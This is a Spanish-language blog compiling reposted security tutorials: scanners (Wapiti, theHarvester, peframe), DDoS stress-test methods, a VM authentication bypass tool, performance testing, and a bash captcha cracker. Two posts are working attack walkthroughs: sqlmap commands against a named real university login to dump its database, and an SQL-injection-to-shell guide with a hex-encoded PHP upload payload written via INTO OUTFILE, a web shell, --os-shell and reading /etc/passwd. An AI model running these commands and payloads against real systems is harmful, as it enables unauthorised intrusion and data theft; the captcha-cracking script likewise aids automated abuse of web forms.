Mostrando entradas con la etiqueta testing. Mostrar todas las entradas
Mostrando entradas con la etiqueta testing. Mostrar todas las entradas

miércoles, 4 de junio de 2014

Herramienta para auditoria caja negra de aplicaciones Web

Las auditorias caja negra, son las que se realizan desde fuera y ofrecen la visión de un atacante. No se estudia el código fuente de la aplicación, se analiza las páginas web de la aplicación desplegada, en busca de scripts y formularios en los que se puede inyectar datos. Este tipo de auditoría suele reportar mas falsos positivos.

La herramienta Wapiti realiza el procedimiento en la auditoria de caja negra de buscar de scripts y formularios en los que se puede inyectar datos. Una vez que se obtiene esta lista, actúa como un fuzzer, realizando inyección de datos, para ver si un script es vulnerable.

Wapiti pueden detectar las siguientes vulnerabilidades:


Divulgación de archivos (local y remota, fopen, readfile ...).

Inyección en bases de datos (PHP / JSP / ASP, inyecciones SQL y XPath).
XSS (Cross Site Scripting) inyección (reflejada y permanente).
Ejecución de comandos de detección (eval ( ), system (), passtru () ... ).
Inyección CRLF (división de respuesta HTTP, la fijación de sesión ... ).
Inyección XXE (Entidad XmleXternal).
Reconoce archivos potencialmente peligrosos (gracias a la base de datos Nikto).
Configuraciones débiles .Htaccess que pueden ser anuladas.
Detecta los archivos de copia de seguridad con información sensible (revelación de código fuente).

Características generales de Wapiti:

Genera reportes de vulnerabilidades en diversos formatos (HTML, XML, JSON, TXT...).
Puede suspender y reanudar una exploración o un ataque.
Permite de una forma rápida y fácil, activar y desactivar módulos de ataque.
HTTP y HTTPS proxies.
Capacidad para restringir el alcance de la exploración (dominio, carpeta, página web…).
Autenticación por medio de varios métodos: Basic, Digest, Kerberos o NTLM.
Posibilidad de configurar las direcciones URL que explorar primero (aunque no esten en su alcance). Puede excluir algunos URLs de la exploración y de ataques (por ejemplo: URL de cierre de sesión).
Importación de cookies (con las herramientas wapiti de cookies y wapiti-GetCookie )
Puede activar y desactivar certificados SSL de verificación.
Extraer URLs de los archivos SWF de Flash.
Puede extraer las direcciones URL de javascript (intérprete muy básico JS).

Más información y descarga de Wapiti:
http://wapiti.sourceforge.net/

Fuente:
http://vtroger.blogspot.com/2014/05/herramienta-para-auditoria-caja-negra.html

jueves, 29 de mayo de 2014

Que es el The Harvester ?




















¿Que es el The Harvester ?
Es una Herramienta Diseñada en python, la cual tiene la función de extraer los datos de las web
tales se las pondré en la siguiente  :
  • Google - correos electrónicos, subdominios / nombres de servidor
  • Perfiles de Google - nombres de empleados
  • Bing search - correos electrónicos, subdominios / nombres de servidor, host virtuales
  • Servidores Pgp - correos electrónicos, subdominios / nombres de servidor
  • Linkedin - nombres de empleados
  • Exalead - correos electrónicos, subdominios / nombres de host


Para abrir esta herramienta ingresamos al modulo por la " Terminal la cual pondremos los siguiente"

cd /pentest/enumeration/theHarvester

( Como vemos ya estamos en la carpeta ), ahora vamos a ejecutarlo con lo siguiente

./theHarvester

(Como vemos ya estamos adentro de la herramienta  y ahí mismo mas abajo les aparecerá las 3 opciones para ejecutar diferentes tipos de procesos


























yo Pondre el primer paso de ejecucion que es este

 ./theHarvester.py -d fbi.gov -l 500 -b google





















Esperamos unos cuantos segundos, hasta que termine el Escaneo y como vemos Aquí Nos Botara los Correos electrónicos de los usuarios registrados en la web.

























Como vemos ya nos voto todos los correos almacenados en la web.

Fuente: http://backtrack-omar.blogspot.com/2013/08/que-es-el-harvester-es-una-en-python-la.html

DDoS o prueba de estrés

 Cuando en un proceso de Ethical Hacking se acuerda llevar a cabo este tipo de pruebas es algo realmente interesante, y un reto para el equipo. Pensar en como llevar a cabo este proceso es algo que puede ser más costoso de lo normal, y para lo que necesitaremos preparación y conocimiento del entorno empresarial al que nos enfrentamos.
Es importante entender bien el entorno que rodea a la organización para poder llevar a cabo la prueba con la máxima eficiencia. El paradigma cloud computing y las botnets aparecen en muchas ocasiones como vías hacia la denegación de servicio. Las pruebas que se realicen sobre una organización deben estar siempre bajo el control del equipo de auditoría y sin llegar a realizar alguna acción no legal. Por esta razón, las botnets deben ser descartadas.
A continuación se enumeran las pruebas que pueden realizarse, de manera general, en un proceso de estrés contra una organización:

  • UDP flood. Se realiza la técnica DNS Amplification y otros basados en inundación de datagramas UDP. 
  • TCP flood. Inundación y sobrecarga de sistemas mediante conexiones TCP. Se utilizan herramientas que automatizan el proceso, por ejemplo LOIC, Low Orbin Ion Cannon. 
  • HTTP flood. Inundación de peticiones HTTP. El objetivo es realizar una gran cantidad de peticiones a ciertos recursos web con el objetivo de alcanzar la saturación del recurso o servidor web. Si se tiene éxito se reportará mediante una imagen de una petición al recurso y el servidor no pudiendo ofrecerlo. 

Aunque esto es una generalización, se pueden desglosar un poco más los ataques, como podemos ver en el siguiente cuadro. Es un mundo realmente interesante.


Fuente: http://www.flu-project.com/2014/02/ddos-o-prueba-de-estres-llamalo-como-te.html

jueves, 13 de junio de 2013

Prueba el Jarlsberg


Jarlsberg es un queso típico noruego, muy importado y muy popular en EEUU. Seguramente sus típicos agujeritos han inspirado también a varios autores del Google Code University, que han utilizado ese nombre para bautizar un codelab de una aplicación web con multiples agujeros de seguridad.

¿Y para qué? Pues para guiarnos a través del descubrimiento de una gran variedad de bugs y aprender la forma de solucionarlos.

Y es que no sólo de Webgoat vive el hombre. Gracias a esta pequeña aplicación hecha en python, podremos practicar con vulnerabilidades tales como XSS, CSRF, path traversal, DoS, ejecución remota de código y otras.
Ummmmmmmmmm, que pinta tiene... ¡A qué esperas para probar este queso!

La aplicación:
http://jarlsberg.appspot.com/
Fuente:http://www.hackplayers.com/2010/06/prueba-el-jarlsberg.html

miércoles, 12 de junio de 2013

VMinjector: herramienta para evadir la autenticación de máquinas virtuales

¿Has olvidado la contraseña de tu host virtual?, ¿eres un chico malo, has tomado el control de un equipo con VMWare y ahora quieres acceder a sus máquinas virtuales? ¡VMInjector es la solución que buscabas! XD
 


VMInjector es un pequeño script escrito en Python que inyecta una DLL (x86 y x64) en el proceso VMWare para obtener acceso a la memoria. Una vez mapeados sus recursos, parchea la función correspondiente para evadir la autenticación y así acceder al sistema operativo de la máquina virtual, ya sea Windows, Ubuntu o Mac OS X.

El parcheo en memoria no es persistente, así que al reiniciar la máquina virtual el proceso de autenticación volverá a la normalidad como si no hubiera pasado nada ;)

 
https://github.com/batistam/VMInjector

Fuente:http://www.hackplayers.com/2013/02/vminjector-evadir-autenticacion-maquinas-virtuales.html

viernes, 7 de junio de 2013

Análisis estático de binarios con Peframe

Buenas a todos, hace varios meses Marc nos habló de la herramienta peframe (http://www.flu-project.com/peframe-analisis-portable-de-malware.html). Esta utilidad nos permite realizar un análisis estático a un binario para ver rápidamente algunos datos interesantes, como sus hashes, tamaño, fecha de compilación, etc.:
File Name: malware.exe
File Size: 214528 bytes
Compile Time: 2012-06-15 21:29:40
DLL: False
Sections: 3
MD5 hash: 230f7b7bb0640136ccdd932e42842378
SHA-1 hash: 8a1a9ea594f148234f3884c574ababd92270b298
Packer: None
Anti Debug: Yes
Peframe se encuentra programado en Python, y podéis descargarlo gratuitamente desde aquí: http://code.google.com/p/peframe/downloads/list
Una de sus funcionalidades más utilizadas es la posibilidad de recuperar las APIs/funciones de las que hace uso el ejecutable que se está analizando. Además, nos permitirá clasificar las funciones que supuestamente (como les gusta decir en cierto canal de televisión) son sospechosas. Para ello tendremos que hacer uso del flag “—suspicious”.
A continuación os presentamos tres análisis realizados con peframe a Putty, a UPX y a Winpcap.
Putty:
 
UPX:
 
Winpcap:
 
Esta herramienta nos será de mucha utilidad a la hora de desarrollar malware, y por supuesto, en nuestras labores anti-malware. La semana que viene lo utilizaremos en nuestra cadena sobre evasión de Antivirus, así que tenedlo a mano :-)

Saludos!

Fuente:http://www.flu-project.com/analisis-estatico-de-binarios-con-peframe.html

[SQLMAP] SQL Injection utilizando método POST



En esta entrada breve y simple, se detallaran los pasos que realizaremos cuando necesitemos explotar una vulnerabilidad de Sql Injection, que mayormente se encuentran en algunos servidores basados en SQL Server y Oracle. Estas vulnerabilidades son típicas en los LOGIN'S Administrativos, ya que como debemos de saber,  que cuando ingresamos el usuario y password estos datos se envían a través del método POST, por lo tanto puede existir la posibilidad de que al ingresar datos falsos o algunos bypasses, esta nos pueda mostrar algún error que nos permita identificar la vulnerabilidad, por tanto se puede explotar automatizadamente utilizando SQLMAP ejecutando comandos para enviar la petición en POST y no en GET como se "acostumbra".
Si no me explique bien, pues al buen entendedor pocas palabras!!! entonces sin mas rodeos, vamos a la acción!
Tenemos un LOGIN en ASP, en la cual no tenemos los datos correctos ni nada por el estilo, ya que no hemos encontrado ningún tipo de vulnerabilidad en el servidor que nos brinde estos datos, por tanto como somos curiosos e inteligentes empezamos a probar datos falsos y algunos bypasses como el famosillo ' or '1'='1 como se muestra en la imagen siguiente:
Después de haber colocado este bypass, tenemos la posibilidad de que el servidor nos muestre algún tipo de vulnerabilidad o el error que nos permita identificar si es vulnerable a SQL Injection, tanto así que si el servidor se encuentra bajo ASP esta nos puede mostrar el error "Microsoft OLE DB Provider for ODBC Drivers error '80040e14'", si esto llega a suceder, corremos la suerte de poder explotar esta vulnerabilidad. En este caso después de haber colocado dicho bypass, el servidor nos devuelve el siguiente error:
Al visualizar esta vulnerabilidad, somos consciente que se puede explotar manualmente o automatizadamente, para así obtener los datos que nos permita logearnos de una manera correcta al servidor.
Ahora, para seguir probando si el LOGIN tiene algún otro tipo de vulnerabilidad, regresamos al form y dejamos en blanco el usuario y clave y le cliqueamos en Conectar, la cual el servidor nos muestra lo siguiente:
¿Algo raro cierto? ¿Por que? ... Este LOGIN nos demuestra que las peticiones no están validadas, quiere decir que si colocamos algún bypass, esta nos muestra una vulnerabilidad, como también si dejamos los form en blanco y cliqueamos en conectar, esta nos permite saltarnos del login. 
Bien, después de haber llegado a unas pequeñas conclusiones sobre que el servidor tiene una vulnerabilidad en el login y que las peticiones no están validadas, procederemos a utilizar el Live HTTP Headers para así ver las cabeceras del login al momento que cliqueemos en Conectar.
En este caso después de haber colocado el Live HTTP Headers a la escucha de lo que pasa por el servidor mientras cliqueamos en Conectar dejando todo el blanco, esta nos devuelve lo siguiente:
Hemos obtenido 3 datos muy importantes! las cuales son:

  • http://www.uap.edu.pe/intranet/logon2.asp
  • POST /intranet/logon2.asp HTTP/1.1
  • usuario=&pw=&user=07&B7=++Conectar++
La primera es posiblemente la URL Vulnerable, la segunda nos indica que la variable es POST y el ultimo, los parámetros que posiblemente son vulnerables.
Entonces procederemos a explotar la vulnerabilidad automatizadamente que se encuentra en el LOGIN, utilizando SQLMAP y ejecutando el siguiente comando basándonos en los datos obtenidos por el Live HTTP Headers.
  • ./sqlmap.py -u "http://www.uap.edu.pe/intranet/logon2.asp" --data="usuario=&pw=&user=07&B7=++Conectar++" -p "usuario" --level=5 --risk=5 --dbs
Después de que la herramienta termine de auditar el servidor, esta detectara que el parámetro POST "usuario" es vulnerable, tal cual se muestra en la siguiente imagen:
A partir de allí, ya sabemos que dicho LOGIN es realmente vulnerable y lo hemos explotado con total satisfacción obteniendo así toda la base de datos del servidor.
Ahora si! con esta DB obtendremos los respectivos datos reales para poder logearnos satisfactoriamente en el LOGIN que tanto deseamos ;)
Espero les sirva.
Saludos. 

FUENTE:http://calebbucker.blogspot.com/2013/03/sqlmap-sql-injection-utilizando-metodo.html

SQL Injection to Shell with SQLMap

Hace algunos días auditando un Servidor Web (universidad) basada en Apache 1.3.26, PHP 4.2.1 a un cliente, me tope con la típica vulnerabilidad de Inyección de Código Sql, la cual permite fácilmente obtener toda la base de datos del servidor, entonces de inmediato empece a inyectar manualmente pero para mi suerte!!! ninguna de las inyecciones y bypasses dio resultado, entonces me pregunte ¿Por que? si es una vulnerabilidad peligrosa y fácilmente explotable, pero luego analizando nuevamente di con el resultado que era un simple FP (falso positivo).
Después de terminar el nuevo análisis  encontré otra vulnerabilidad de Inyección de Código Sql, mostrándome el famoso error:


-----------------------------------------------------------------------------------------------------------------
You have an error in your SQL syntax near '' order by gal_id desc limit 5' at line 1
------------------------------------------------------------------------------------------------------------------
Entonces basándome en el resultado anterior del FP, decidí utilizar la famosa herramienta SQLMap para comprobar si realmente el sitio era vulnerable a esta inyección  para ello use el comando mas simple pero muchas veces eficiente que cuenta SQLMap:
  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --dbs
Pero para mi mayor suerte! la herramienta devolvió el siguiente resultado:
A partir de ese error empece a preocuparme! pues el cliente necesitaba el trabajo lo mas antes posible, pero como para mi no hay nada imposible (sin presumir), opte por utilizar las técnicas y comandos mas avanzados que cuenta SQLMap, pero antes de eso tenia que comprobar si el usuario que estaba inyectando era user o root, para ello utilice el siguiente comando:
  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --current-user

Obteniendo el siguiente resultado:

Al apreciar el resultado como "none" deduje que el usuario era "root" entonces en lo primero que pensé fue en subir una web shell desde SQLMap, pero antes de realizar ese paso, tenia que obtener un Full Path Disclosure pero ¿Para que necesito un FPD? muy facil, al momento que necesitemos subir una web shell desde SQLMap, esta nos pedirá que coloquemos el PATH completo del servidor, caso contrario esta no dará resultado.
Ejemplos de obtener un Full Path Disclosure mediante Sql Injection:
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep Veremos un Sql Injection
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=[]isep Veremos un Full Path Disclosure
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=huey Veremos un Full Path Disclosure
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep! Veremos un Full Path Disclosure
  • http://www.sitio-web.com/parametro-vulnerable?txt_palabra='isep' Veremos un Full Path Disclosure
Otro método que también funciona para obtener un FPD es cambiando las cookies, por ejemplo si tenemos nuestras cookies PHPSESSID=13882931834931984318 simplemente queda borrar los números  quedando solamente el PHPSESSID= esto se puede realizar utilizando el Addon Live HTTP Headers.
Después de realizar estos pasos para obtener un Full Path Disclosure, el resultado fue exitoso, mostrándome el siguiente mensaje:
------------------------------------------------------------------------------------------------------------------
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /espejo/htdocs.v2/portalnuevo/buscadores/portal_contenidos.php on line 79
------------------------------------------------------------------------------------------------------------------
Conociendo el path completo del servidor, solo me faltaba buscar el código php de un upload para convertirlo en HEX e inyectarlo en el SQLMap. Seguidamente tenia que convertir el siguiente código a HEX:
------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
Ahora entre al sitio web http://www.string-functions.com/string-hex.aspx y coloque el código del upload para convertirlo a HEX, dando como resultado lo siguiente:
------------------------------------------------------------------------------------------------------------------
3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
------------------------------------------------------------------------------------------------------------------


Realizado todo lo anterior, entre nuevamente a SQLMap y coloque el siguiente comando para moverme por el servidor mediante comandos SQL.

  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --sql-shell


Ahora como ya tenia el control del servidor mediante comandos SQL, tenia que inyectar con SELECT + 0x + Codigo HEX + INTO OUTFILE + Full Path + Nombre del Upload, quedando la inyección de la siguiente manera:
------------------------------------------------------------------------------------------------------------------
select 0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e 
into "/espejo/htdocs.v2/portalnuevo/buscadores/upload.php"; 
------------------------------------------------------------------------------------------------------------------

En la cual SQLMap devuelve el siguiente resultado, indicando que el upload subió perfectamente sin problema alguno, como se muestra en la siguiente imagen:


Ahora solo me quedaba abrir mi navegador y dirigirme a la ruta en la cual subí el upload.php la cual fue totalmente un éxito.
Bien ahora como ya tenia el upload.php y mi objetivo era obtener el control total del servidor, subi una web shell la cual se ejecuto perfectamente.
------------------------------------------------------------------------------------------------------------------
Como ya es de conocimiento SQLMap contiene una series de comandos que nos ayuda mucho al momento que estamos realizando una auditoria, pues también ofrece un comando para subir una web shell de una forma mas rápida a la forma de dicha herramienta.
El comando --os-shell en SQLMap permitirá subir un uploader (sqlmap file uploader) algo parecido a lo anterior pero al estilo SQLMap :)
Para realizar este paso utilizando dicho comando, teclearemos en la herramienta lo siguiente:
  • ./sqlmap.py -u http://www.sitio-web.com/parametro-vulnerable?txt_palabra=isep --os-shell

La herramienta nos preguntara en que lenguaje de programación esta basada el sitio web, en este caso el sitio web que ando auditando esta en PHP, por lo que sqlmap lo enumera como (default) tal cual se muestra en la siguiente imagen:
Después de colocar el numero por default o simplemente presionando enter, la herramienta nos pedirá que coloquemos el path completo del servidor la cual hemos obtenido mediante un Full Path Disclosure, después de ello, confirmaremos dicho path para que la herramienta trate de subir el uplader en el servidor.
Seguidamente si hemos colocado el path correctamente, obtendremos el uploader en el servidor, esta se nombra muchas veces como tmpjdjsk.php.
Ahora para confirmar y visualizar el uploader que subió la herramienta, abriremos la URL que la misma nos proporciono, apreciando-la de la siguiente manera:

Desde allí podemos subir nuestra web shell o cualquier archivo que nos gustaría tener dentro del servidor web.
Después que la herramienta ha realizado todo lo anterior, nos deja una session del os-shell para movernos por el servidor mediante comandos como ls - dir - cat u otros. Esto se puede ya que en si es un backdoor que SQLMap ha subido al servidor.
Ejemplo del comando cat /etc/passwd:
Ejemplo del comando uname -a y ls:
Y por ultimo la web que hemos auditado ha quedado totalmente vulnerado.
Bueno, esto fue lo que me paso hace algunos dias, lo escribo no tal solo por aburrirlos, si no para que quiza alguno de ustedes lo ponga en practica en sus Pruebas de Penetración.

Espero les sirva, un saludo y hasta la próxima ;)

FUENTE:http://calebbucker.blogspot.com/2013/01/sql-injection-to-shell-with-sqlmap.html

OpenSTA para Windows 7, Vista, y Server 2008

Ahora OpenSTA está disponible para Windows 7, Windows Vista y Server 2008. Hemos dejado disponibles para la comunidad algunos de nuestros principales aportes a esta herramienta open source, tan popular para pruebas de performance. Como esta herramienta está discontinuada, no se podía utilizar bajo los sistemas operativos más modernos, siendo necesario tener un Windows XP o similar para poder ejecutar pruebas con ella.

Puede descargar la versión modificada de esta herramienta, así como los fuentes modificados, en:
http://www.abstracta.com.uy/es/descargas

OpenSTA es la herramienta de pruebas de performance que más hemos utilizado para stress test de aplicaciones Web. ¿Por qué?

Es sumamente eficiente en la generación de carga, nos ha permitido simular más de mil usuarios concurrentes sobre un sistema bajo pruebas con muy pocas máquinas. Para entender bien esto, recordemos que una prueba de performance se trata de una simulación, donde se ejecutan cientos de usuarios en forma concurrente, para poder generar así una situación de estrés, y analizar el comportamiento de los distintos componentes del sistema (red, disco, bases de datos, etc., etc.,...).
Las herramientas especializadas en realizar este tipo de simulaciones ejecutan cientos de procesos, los cuales simulan las acciones que ejecutarían los usuarios reales. Estas herramientas, y estos procesos que realizan la simulación, se ejecutan desde máquinas dedicadas a la prueba. Las herramientas permiten generalmente utilizar varias máquinas en un esquema master-slave, para distribuir la carga, ejecutando por ejemplo 200 usuarios desde cada máquina. El principal objetivo de este sistema de distribución de carga es que no podemos dejar que estas máquinas se sobrecarguen, porque de esa forma podrían invalidar la prueba, ya que se generarían problemas para simular la carga o para recolectar los datos de tiempos de respuesta por ejemplo. Por ejemplo, con OpenSTA hemos podido generar una carga de 1500 usuarios virtuales utilizando tan solo 5 máquinas, las cuales reportaron estar utilizando una cantidad acotada de recursos.



A pesar que está discontinuada, la seguimos prefiriendo dentro de las herramientas opensource. Existen otras alternativas muy buenas también, como por ejemplo JMeter, la cual en cambio es un proyecto sumamente activo, y que es útil además para muchos más protocolos y no solo para HTTP como OpenSTA. El tema es que en nuestra experiencia al menos, siempre hemos visto un menor rendimiento de JMeter. O sea, con una misma máquina para simular pruebas hemos sido capaces de simular menos usuarios en una máquina con JMeter que en una máquina con OpenSTA.

OpenSTA es gratuita y lo seguirá siendo.

Por otra parte, los formularios web en ocasiones pueden llegar a ser muy grandes (esto lo hemos visto muchas veces en algunas grillas desarrolladas con GeneXus) para lo cual la herramienta presentaba una restricción en el tamaño de las variables que maneja. Por esto es que también, dentro de las mejoras introducidas, hemos ampliado el límite en el tamaño de las variables.

Esta versión modificada es la que estamos utilizando en nuestros proyectos sin ningún inconveniente. Ojalá podamos seguir aportando a esta herramienta, y ¡¡nos gustaría recibir feedback del que se anime a probarla!!

FUENTE;http://blog.abstracta.com.uy/2013/05/opensta-para-windows-7-vista-y-server.html

Generador de pruebas de Performance a partir de pruebas funcionales

Una herramienta que he tenido el placer de usarla en modo trial puesto que aun la estamos evaluando y quiero compartirles un post:

"Les queríamos compartir ahora la presentación que utilizaré para presentar en el Workshop:


From Functional Test Scripts to Performance Test Scripts for Web Systems from Federico Toledo

Y el abstract es el siguiente:

When modernizing systems the software is migrated from one platform to another. There are big risks concerning the performance the system should have in the new platform. A new system cannot take more time to perform the same operations than the previous one as the users will refuse it. Therefore, the preventive performance test is crucial to guarantee the success of the modernization project. However, the automation tasks for performance testing are too demanding, in terms of time and effort, as the tools work at a communication protocol level. Though not free, the functional testing automation is easier to accomplish than the performance testing automation as the tools work at a graphic user interface level; the tools are therefore more intuitive and they have to handle less variables and technical issues. In this article we present a tool that we developed for industrial usage to automatically generate performance tests scripts from automated functional tests. The tool has been used in several projects in the industry, achieving important effort savings and improving flexibility.

¿Han tenido alguna experiencia utilizando GXtest 2 OpenSTA? ¿Consideran que las pruebas de performance se pueden simplificar con este enfoque? ¿O de qué otro modo?"

Fuente:http://blog.abstracta.com.uy/2013/05/generador-de-pruebas-de-performance.html

viernes, 31 de mayo de 2013

Saltandose captchas con Shell Scripting

Análisis
Lo primero y PRIMORDIAL es analizar lo que se tiene al enfrentarse a un captcha… hay de muchos tipos, FORMAS, sabores y COLORES. Principalmente los captchas con “formas” son los mas difíciles de abordar y donde se requiere la IA. Al enfrentarnos a captchas tenemos que tener en cuenta los siguientes factores que dependiendo de cada uno de ellos sera como se aborde el reto:

  • Tipografia
  • Colores
  • Ruido
  • Forma
  • Angulos y posiciones
En este caso el captcha que abordaremos es demasiado fácil y con una tipografía muy clara. Lo mas parecido a “Letra molde”, las letras no están movidas (ángulos), no hay ruido…El único factor a vencer son los colores…El captcha tiene un fondo negro con letras con un ligero degradado…Lo cual no sera difícil vencer.

El captcha en cuestion es el siguiente:



El reto es limpiar la imagen…en este punto ustedes se preguntaran…¿Por que carambolas limpiar la imagen? Pues esto es por que muchos programas de OCR son mas precisos al tener una imagen limpia…

El captcha contiene una “vulnerabilidad” en la elección de colores la cual lo hace sumamente fácil de limpiar…¿Pueden verla?…Exacto…usan un fondo único y las letras no contienen este color…Osea: EL fondo es de color negro y las letras no contienen el color negro…

¿Y? – Fácil…¿Qué pasaria si…? Realizamos un programa que CONVIERTA TODO EL COLOR NEGRO EN BLANCO Y TODO LO QUE NO SEA NEGRO EN NEGRO… De este modo obtendríamos una imagen con fondo blanco y letras negras (O en teoría eso se quiere)

Shell Script para limpiar la imagen
Normalmente para esta tarea haría un script en PHP, pero descubrí/invente una forma para hacerlo desde bash…Y se las quiero compartir. Es por ello que lo haré desde bash…Por que muchos creen que para hacer esto es imposible en bash, ya que no hay una librería que lo haga…Y es cierto, pero nos apoyaremos de Imagemagick y todo el poder de bash.

El simple script que realice para esta tarea es el siguiente:



Brevemente explicare que hago:

Obtengo el tamaño de la imagen y lo guardo en variables:


1
2
3
pixelaje=$(convert -identify $image /dev/null | awk '{print $3}')
let px_x="$(echo $pixelaje | cut -d"x" -f1 | tr -d "\n")"
let px_y="$(echo $pixelaje | cut -d"x" -f2 | tr -d "\n")"



Creo un archivo de texto con la configuración que Imagemagick requiere para convertir un archivo de texto con pixeles a una imagen…La primera linea le dice de cuanto por cuanto sera la imagen y el valor máximo del color que se usara.


1
echo "# ImageMagick pixel enumeration: $px_x,$px_y,255,srgb" >
$txt_out

Empiezo a recorrer la imagen.


1
2
for ((y=0;y<$px_y;y++));do
for ((x=0;x<$px_x;x++));do



Obtengo el valor RGB del pixel.



1
rgb=$(convert "$image"[1x1+$x+$y] txt: | grep "(.*)" -wo |
cut -d ")" -f1 | tr -d "(" | tr -d "\n" | tr -d " "| tr "," " ")


Quizás esta sea la linea mas importante del programa, y el truco que se hace para obtener los pixeles de una imagen en bash. Así que la explicare un poco mas.

convert $image[1x1+$x+$y] txt:   Esta linea lo que hace es decirle que obtenga de la imagen, el pixel que esta en la posición ($x,$y) y que me muestre 1×1 solo un pixel y al final le decimos que nos muestre el valor como texto.
Lo demás es solo para limpiar y dejar solo los valores RGB para que al final nos quede algo asi:
Y ya eso lo pasamos a variables independientes y claro las declaramos de tipo numérico.
1
2
3
let r=$(echo $rgb | awk '{print $1}')
let g=$(echo $rgb | awk '{print $2}')
let b=$(echo $rgb | awk '{print $3}')
Hacemos una comprobación diciendo que si el valor de R o G o B es mas grande que “100″ (Osea que no es tan obscuro para llegar al negro Lo pintemos de negro en la coordenada dada…De lo contrario se pintara de blanco.
1
2
3
4
5
if [[ $r -gt 100 || $g -gt 100 || $b -gt 100 ]];then
echo "$x,$y$black" >> $txt_out
else
echo "$x,$y$white" >> $txt_out
fi
Donde por cierto los colores $black y $white valen segun imagemagick esto;
1
2
black="(  0,  0,  0)  #000000  black"
white="(255,255,255)  #FFFFFF  white
Al final se convierte el archivo .txt creado a una imagen .pnm (Se usa este formato ya que el programa de OCR requiere este formato).
1
convert $txt_out captcha_clean.pnm
Y por ultimo se Usa el programa gocr para obtener las letras de la imagen.
1
cracked=$(echo $(gocr captcha_clean.pnm))

Y voila!!!
Captcha Cracked!!! No que los bots no podían leer la imagen?? ¬¬
El codigo lo pueden ver en mi Pastebin AQUÍ!!! Este CÓDIGO SOLO ES DE EJEMPLO!!! Esto igualmente como dije, se puede realizar de un modo mas rápido con PHP…Dejo un código de ejemplo…
Y bien para terminar modifique un poco el script de arriba, para hacerlo generico…llegando con:
Al cual se le pasa como parametro una imagen y se le definen los colores que se quieren discriminar…con esto el la limpiara y la intentara decodificar…Ej:
Este captcha se quiso “crackear” sin limpiarlo y este es el resultado NEGATIVO:
Y con captcha-cracker-neobits.sh

BASH + IMAGEMAGICK + gocr == PWNED!!!
Notas Finales:
  • Y bueno con esto demuestro que con bash podemos seguir haciendo cosas hermosas…Obviamente, en “producción” esta no es ni por cercana la mejor opción…Ya que es lento…
  • PHP es un excelente lenguaje para manejor de imagenes…pero son mas rapidos los lenguajes compilados.
  • Tesseract es otro programa PODEROSISIMO para OCR
  • Este ejemplo es completamente demostrativo, ya que con lo tardado de la limpieza, no sirve para hacer un bot malicioso (Ese nunca fue mi proposito)
Espero haya gustado este nuevo post Y sin mas…
Saludos!

FUENTE:
http://news-technology-learning.blogspot.com/2013/05/saltandose-captchas-con-shell-scripting.html?showComment=1369830772831#c8713352826960060827